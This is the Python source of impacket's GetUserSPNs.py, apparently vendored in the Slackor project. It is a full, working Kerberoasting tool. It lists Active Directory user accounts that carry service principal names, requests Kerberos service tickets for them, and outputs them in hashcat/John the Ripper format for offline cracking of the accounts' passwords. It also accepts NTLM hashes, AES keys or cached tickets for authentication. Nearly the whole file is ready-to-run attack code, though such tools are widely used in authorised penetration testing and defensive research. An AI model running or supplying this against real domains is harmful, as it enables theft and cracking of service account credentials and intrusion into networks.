github.com/Coalfire-Research/Slackor@v0.0.0-20191010164036-aa32a7f9250b/impacket/examples/GetUserSPNs.py (about)

     1  #!/usr/bin/env python
     2  # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
     3  #
     4  # This software is provided under under a slightly modified version
     5  # of the Apache Software License. See the accompanying LICENSE file
     6  # for more information.
     7  #
     8  # Author:
     9  #  Alberto Solino (@agsolino)
    10  #
    11  # Description:
    12  #     This module will try to find Service Principal Names that are associated with normal user account.
    13  #     Since normal account's password tend to be shorter than machine accounts, and knowing that a TGS request
    14  #     will encrypt the ticket with the account the SPN is running under, this could be used for an offline
    15  #     bruteforcing attack of the SPNs account NTLM hash if we can gather valid TGS for those SPNs.
    16  #     This is part of the kerberoast attack researched by Tim Medin (@timmedin) and detailed at
    17  #     https://files.sans.org/summit/hackfest2014/PDFs/Kicking%20the%20Guard%20Dog%20of%20Hades%20-%20Attacking%20Microsoft%20Kerberos%20%20-%20Tim%20Medin(1).pdf
    18  #
    19  #     Original idea of implementing this in Python belongs to @skelsec and his
    20  #     https://github.com/skelsec/PyKerberoast project
    21  #
    22  #     This module provides a Python implementation for this attack, adding also the ability to PtH/Ticket/Key.
    23  #     Also, disabled accounts won't be shown.
    24  #
    25  # ToDo:
    26  #  [X] Add the capability for requesting TGS and output them in JtR/hashcat format
    27  #  [X] Improve the search filter, we have to specify we don't want machine accounts in the answer
    28  #      (play with userAccountControl)
    29  #
    30  from __future__ import division
    31  from __future__ import print_function
    32  import argparse
    33  import logging
    34  import os
    35  import sys
    36  from datetime import datetime
    37  from binascii import hexlify, unhexlify
    38  
    39  from pyasn1.codec.der import decoder
    40  from impacket import version
    41  from impacket.dcerpc.v5.samr import UF_ACCOUNTDISABLE
    42  from impacket.examples import logger
    43  from impacket.krb5 import constants
    44  from impacket.krb5.asn1 import TGS_REP
    45  from impacket.krb5.ccache import CCache
    46  from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
    47  from impacket.krb5.types import Principal
    48  from impacket.ldap import ldap, ldapasn1
    49  from impacket.smbconnection import SMBConnection
    50  from impacket.ntlm import compute_lmhash, compute_nthash
    51  
    52  class GetUserSPNs:
    53      @staticmethod
    54      def printTable(items, header):
    55          colLen = []
    56          for i, col in enumerate(header):
    57              rowMaxLen = max([len(row[i]) for row in items])
    58              colLen.append(max(rowMaxLen, len(col)))
    59  
    60          outputFormat = ' '.join(['{%d:%ds} ' % (num, width) for num, width in enumerate(colLen)])
    61  
    62          # Print header
    63          print(outputFormat.format(*header))
    64          print('  '.join(['-' * itemLen for itemLen in colLen]))
    65  
    66          # And now the rows
    67          for row in items:
    68              print(outputFormat.format(*row))
    69  
    70      def __init__(self, username, password, user_domain, target_domain, cmdLineOptions):
    71          self.__username = username
    72          self.__password = password
    73          self.__domain = user_domain
    74          self.__targetDomain = target_domain
    75          self.__lmhash = ''
    76          self.__nthash = ''
    77          self.__outputFileName = cmdLineOptions.outputfile
    78          self.__aesKey = cmdLineOptions.aesKey
    79          self.__doKerberos = cmdLineOptions.k
    80          self.__requestTGS = cmdLineOptions.request
    81          self.__kdcHost = cmdLineOptions.dc_ip
    82          self.__saveTGS = cmdLineOptions.save
    83          self.__requestUser = cmdLineOptions.request_user
    84          if cmdLineOptions.hashes is not None:
    85              self.__lmhash, self.__nthash = cmdLineOptions.hashes.split(':')
    86  
    87          # Create the baseDN
    88          domainParts = self.__targetDomain.split('.')
    89          self.baseDN = ''
    90          for i in domainParts:
    91              self.baseDN += 'dc=%s,' % i
    92          # Remove last ','
    93          self.baseDN = self.baseDN[:-1]
    94          # We can't set the KDC to a custom IP when requesting things cross-domain
    95          # because then the KDC host will be used for both
    96          # the initial and the referral ticket, which breaks stuff.
    97          if user_domain != target_domain and self.__kdcHost:
    98              logging.warning('DC ip will be ignored because of cross-domain targeting.')
    99              self.__kdcHost = None
   100  
   101      def getMachineName(self):
   102          if self.__kdcHost is not None and self.__targetDomain == self.__domain:
   103              s = SMBConnection(self.__kdcHost, self.__kdcHost)
   104          else:
   105              s = SMBConnection(self.__targetDomain, self.__targetDomain)
   106          try:
   107              s.login('', '')
   108          except Exception:
   109              if s.getServerName() == '':
   110                  raise 'Error while anonymous logging into %s'
   111          else:
   112              try:
   113                  s.logoff()
   114              except Exception:
   115                  # We don't care about exceptions here as we already have the required
   116                  # information. This also works around the current SMB3 bug
   117                  pass
   118          return "%s.%s" % (s.getServerName(), s.getServerDNSDomainName())
   119  
   120      @staticmethod
   121      def getUnixTime(t):
   122          t -= 116444736000000000
   123          t /= 10000000
   124          return t
   125  
   126      def getTGT(self):
   127          try:
   128              ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
   129          except:
   130              # No cache present
   131              pass
   132          else:
   133              # retrieve user and domain information from CCache file if needed
   134              if self.__domain == '':
   135                  domain = ccache.principal.realm['data']
   136              else:
   137                  domain = self.__domain
   138              logging.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME'))
   139              principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper())
   140              creds = ccache.getCredential(principal)
   141              if creds is not None:
   142                  TGT = creds.toTGT()
   143                  logging.debug('Using TGT from cache')
   144                  return TGT
   145              else:
   146                  logging.debug("No valid credentials found in cache. ")
   147  
   148          # No TGT in cache, request it
   149          userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
   150  
   151          # In order to maximize the probability of getting session tickets with RC4 etype, we will convert the
   152          # password to ntlm hashes (that will force to use RC4 for the TGT). If that doesn't work, we use the
   153          # cleartext password.
   154          # If no clear text password is provided, we just go with the defaults.
   155          if self.__password != '' and (self.__lmhash == '' and self.__nthash == ''):
   156              try:
   157                  tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, '', self.__domain,
   158                                                                  compute_lmhash(self.__password),
   159                                                                  compute_nthash(self.__password), self.__aesKey,
   160                                                                  kdcHost=self.__kdcHost)
   161              except Exception as e:
   162                  logging.debug('TGT: %s' % str(e))
   163                  tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
   164                                                                      unhexlify(self.__lmhash),
   165                                                                      unhexlify(self.__nthash), self.__aesKey,
   166                                                                      kdcHost=self.__kdcHost)
   167  
   168          else:
   169              tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
   170                                                                  unhexlify(self.__lmhash),
   171                                                                  unhexlify(self.__nthash), self.__aesKey,
   172                                                                  kdcHost=self.__kdcHost)
   173          TGT = {}
   174          TGT['KDC_REP'] = tgt
   175          TGT['cipher'] = cipher
   176          TGT['sessionKey'] = sessionKey
   177  
   178          return TGT
   179  
   180      def outputTGS(self, tgs, oldSessionKey, sessionKey, username, spn, fd=None):
   181          decodedTGS = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
   182  
   183          # According to RFC4757 (RC4-HMAC) the cipher part is like:
   184          # struct EDATA {
   185          #       struct HEADER {
   186          #               OCTET Checksum[16];
   187          #               OCTET Confounder[8];
   188          #       } Header;
   189          #       OCTET Data[0];
   190          # } edata;
   191          #
   192          # In short, we're interested in splitting the checksum and the rest of the encrypted data
   193          #
   194          # Regarding AES encryption type (AES128 CTS HMAC-SHA1 96 and AES256 CTS HMAC-SHA1 96)
   195          # last 12 bytes of the encrypted ticket represent the checksum of the decrypted 
   196          # ticket
   197          if decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.rc4_hmac.value:
   198              entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % (
   199                  constants.EncryptionTypes.rc4_hmac.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'),
   200                  hexlify(decodedTGS['ticket']['enc-part']['cipher'][:16].asOctets()).decode(),
   201                  hexlify(decodedTGS['ticket']['enc-part']['cipher'][16:].asOctets()).decode())
   202              if fd is None:
   203                  print(entry)
   204              else:
   205                  fd.write(entry+'\n')
   206          elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value:
   207              entry = '$krb5tgs$%d$%s$%s$*%s*$%s$%s' % (
   208                  constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'),
   209                  hexlify(decodedTGS['ticket']['enc-part']['cipher'][-12:].asOctets()).decode(),
   210                  hexlify(decodedTGS['ticket']['enc-part']['cipher'][:-12:].asOctets()).decode)
   211              if fd is None:
   212                  print(entry)
   213              else:
   214                  fd.write(entry+'\n')
   215          elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value:
   216              entry = '$krb5tgs$%d$%s$%s$*%s*$%s$%s' % (
   217                  constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'),
   218                  hexlify(decodedTGS['ticket']['enc-part']['cipher'][-12:].asOctets()).decode(),
   219                  hexlify(decodedTGS['ticket']['enc-part']['cipher'][:-12:].asOctets()).decode())
   220              if fd is None:
   221                  print(entry)
   222              else:
   223                  fd.write(entry+'\n')
   224          elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.des_cbc_md5.value:
   225              entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % (
   226                  constants.EncryptionTypes.des_cbc_md5.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'),
   227                  hexlify(decodedTGS['ticket']['enc-part']['cipher'][:16].asOctets()).decode(),
   228                  hexlify(decodedTGS['ticket']['enc-part']['cipher'][16:].asOctets()).decode())
   229              if fd is None:
   230                  print(entry)
   231              else:
   232                  fd.write(entry+'\n')
   233          else:
   234              logging.error('Skipping %s/%s due to incompatible e-type %d' % (
   235                  decodedTGS['ticket']['sname']['name-string'][0], decodedTGS['ticket']['sname']['name-string'][1],
   236                  decodedTGS['ticket']['enc-part']['etype']))
   237  
   238          if self.__saveTGS is True:
   239              # Save the ticket
   240              logging.debug('About to save TGS for %s' % username)
   241              ccache = CCache()
   242              try:
   243                  ccache.fromTGS(tgs, oldSessionKey, sessionKey )
   244                  ccache.saveFile('%s.ccache' % username)
   245              except Exception as e:
   246                  logging.error(str(e))
   247  
   248      def run(self):
   249          if self.__doKerberos:
   250              target = self.getMachineName()
   251          else:
   252              if self.__kdcHost is not None and self.__targetDomain == self.__domain:
   253                  target = self.__kdcHost
   254              else:
   255                  target = self.__targetDomain
   256  
   257          # Connect to LDAP
   258          try:
   259              ldapConnection = ldap.LDAPConnection('ldap://%s' % target, self.baseDN, self.__kdcHost)
   260              if self.__doKerberos is not True:
   261                  ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
   262              else:
   263                  ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
   264                                               self.__aesKey, kdcHost=self.__kdcHost)
   265          except ldap.LDAPSessionError as e:
   266              if str(e).find('strongerAuthRequired') >= 0:
   267                  # We need to try SSL
   268                  ldapConnection = ldap.LDAPConnection('ldaps://%s' % target, self.baseDN, self.__kdcHost)
   269                  if self.__doKerberos is not True:
   270                      ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
   271                  else:
   272                      ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
   273                                                   self.__aesKey, kdcHost=self.__kdcHost)
   274              else:
   275                  raise
   276  
   277          # Building the search filter
   278          searchFilter = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)" \
   279                         "(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer))"
   280  
   281          if self.__requestUser is not None:
   282              searchFilter += '(sAMAccountName:=%s))' % self.__requestUser
   283          else:
   284              searchFilter += ')'
   285  
   286          try:
   287              resp = ldapConnection.search(searchFilter=searchFilter,
   288                                           attributes=['servicePrincipalName', 'sAMAccountName',
   289                                                       'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'],
   290                                           sizeLimit=999)
   291          except ldap.LDAPSearchError as e:
   292              if e.getErrorString().find('sizeLimitExceeded') >= 0:
   293                  logging.debug('sizeLimitExceeded exception caught, giving up and processing the data received')
   294                  # We reached the sizeLimit, process the answers we have already and that's it. Until we implement
   295                  # paged queries
   296                  resp = e.getAnswers()
   297                  pass
   298              else:
   299                  raise
   300  
   301          answers = []
   302          logging.debug('Total of records returned %d' % len(resp))
   303  
   304          for item in resp:
   305              if isinstance(item, ldapasn1.SearchResultEntry) is not True:
   306                  continue
   307              mustCommit = False
   308              sAMAccountName =  ''
   309              memberOf = ''
   310              SPNs = []
   311              pwdLastSet = ''
   312              userAccountControl = 0
   313              lastLogon = 'N/A'
   314              try:
   315                  for attribute in item['attributes']:
   316                      if str(attribute['type']) == 'sAMAccountName':
   317                          sAMAccountName = str(attribute['vals'][0])
   318                          mustCommit = True
   319                      elif str(attribute['type']) == 'userAccountControl':
   320                          userAccountControl = str(attribute['vals'][0])
   321                      elif str(attribute['type']) == 'memberOf':
   322                          memberOf = str(attribute['vals'][0])
   323                      elif str(attribute['type']) == 'pwdLastSet':
   324                          if str(attribute['vals'][0]) == '0':
   325                              pwdLastSet = '<never>'
   326                          else:
   327                              pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
   328                      elif str(attribute['type']) == 'lastLogon':
   329                          if str(attribute['vals'][0]) == '0':
   330                              lastLogon = '<never>'
   331                          else:
   332                              lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
   333                      elif str(attribute['type']) == 'servicePrincipalName':
   334                          for spn in attribute['vals']:
   335                              SPNs.append(str(spn))
   336  
   337                  if mustCommit is True:
   338                      if int(userAccountControl) & UF_ACCOUNTDISABLE:
   339                          logging.debug('Bypassing disabled account %s ' % sAMAccountName)
   340                      else:
   341                          for spn in SPNs:
   342                              answers.append([spn, sAMAccountName,memberOf, pwdLastSet, lastLogon])
   343              except Exception as e:
   344                  logging.error('Skipping item, cannot process due to error %s' % str(e))
   345                  pass
   346  
   347          if len(answers)>0:
   348              self.printTable(answers, header=[ "ServicePrincipalName", "Name", "MemberOf", "PasswordLastSet", "LastLogon"])
   349              print('\n\n')
   350  
   351              if self.__requestTGS is True or self.__requestUser is not None:
   352                  # Let's get unique user names and a SPN to request a TGS for
   353                  users = dict( (vals[1], vals[0]) for vals in answers)
   354  
   355                  # Get a TGT for the current user
   356                  TGT = self.getTGT()
   357                  if self.__outputFileName is not None:
   358                      fd = open(self.__outputFileName, 'w+')
   359                  else:
   360                      fd = None
   361                  for user, SPN in users.items():
   362                      try:
   363                          serverName = Principal(SPN, type=constants.PrincipalNameType.NT_SRV_INST.value)
   364                          tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, self.__domain,
   365                                                                                  self.__kdcHost,
   366                                                                                  TGT['KDC_REP'], TGT['cipher'],
   367                                                                                  TGT['sessionKey'])
   368                          self.outputTGS(tgs, oldSessionKey, sessionKey, user, SPN, fd)
   369                      except Exception as e:
   370                          logging.debug("Exception:", exc_info=True)
   371                          logging.error('SPN: %s - %s' % (SPN,str(e)))
   372                  if fd is not None:
   373                      fd.close()
   374  
   375          else:
   376              print("No entries found!")
   377  
   378  
   379  # Process command-line arguments.
   380  if __name__ == '__main__':
   381      # Init the example's logger theme
   382      logger.init()
   383      print(version.BANNER)
   384  
   385      parser = argparse.ArgumentParser(add_help = True, description = "Queries target domain for SPNs that are running "
   386                                                                      "under a user account")
   387  
   388      parser.add_argument('target', action='store', help='domain/username[:password]')
   389      parser.add_argument('-target-domain', action='store', help='Domain to query/request if different than the domain of the user. '
   390                                                                 'Allows for Kerberoasting across trusts.')
   391      parser.add_argument('-request', action='store_true', default='False', help='Requests TGS for users and output them '
   392                                                                                 'in JtR/hashcat format (default False)')
   393      parser.add_argument('-request-user', action='store', metavar='username', help='Requests TGS for the SPN associated '
   394                                                            'to the user specified (just the username, no domain needed)')
   395      parser.add_argument('-save', action='store_true', default='False', help='Saves TGS requested to disk. Format is '
   396                                                                              '<username>.ccache. Auto selects -request')
   397      parser.add_argument('-outputfile', action='store',
   398                          help='Output filename to write ciphers in JtR/hashcat format')
   399      parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
   400  
   401      group = parser.add_argument_group('authentication')
   402  
   403      group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
   404      group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
   405      group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
   406                                                         '(KRB5CCNAME) based on target parameters. If valid credentials '
   407                                                         'cannot be found, it will use the ones specified in the command '
   408                                                         'line')
   409      group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
   410                                                                              '(128 or 256 bits)')
   411      group.add_argument('-dc-ip', action='store',metavar = "ip address",  help='IP Address of the domain controller. If '
   412                                                                                'ommited it use the domain part (FQDN) '
   413                                                                                'specified in the target parameter. Ignored'
   414                                                                                'if -target-domain is specified.')
   415  
   416      if len(sys.argv)==1:
   417          parser.print_help()
   418          sys.exit(1)
   419  
   420      options = parser.parse_args()
   421  
   422      if options.debug is True:
   423          logging.getLogger().setLevel(logging.DEBUG)
   424      else:
   425          logging.getLogger().setLevel(logging.INFO)
   426  
   427      import re
   428      # This is because I'm lazy with regex
   429      # ToDo: We need to change the regex to fullfil domain/username[:password]
   430      targetParam = options.target+'@'
   431      userDomain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(targetParam).groups('')
   432  
   433      #In case the password contains '@'
   434      if '@' in address:
   435          password = password + '@' + address.rpartition('@')[0]
   436          address = address.rpartition('@')[2]
   437  
   438      if userDomain is '':
   439          logging.critical('userDomain should be specified!')
   440          sys.exit(1)
   441  
   442      if options.target_domain:
   443          targetDomain = options.target_domain
   444      else:
   445          targetDomain = userDomain
   446  
   447      if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
   448          from getpass import getpass
   449          password = getpass("Password:")
   450  
   451      if options.aesKey is not None:
   452          options.k = True
   453  
   454      if options.save is True or options.outputfile is not None:
   455          options.request = True
   456  
   457      try:
   458          executer = GetUserSPNs(username, password, userDomain, targetDomain, options)
   459          executer.run()
   460      except Exception as e:
   461          if logging.getLogger().level == logging.DEBUG:
   462              import traceback
   463              traceback.print_exc()
   464          logging.error(str(e))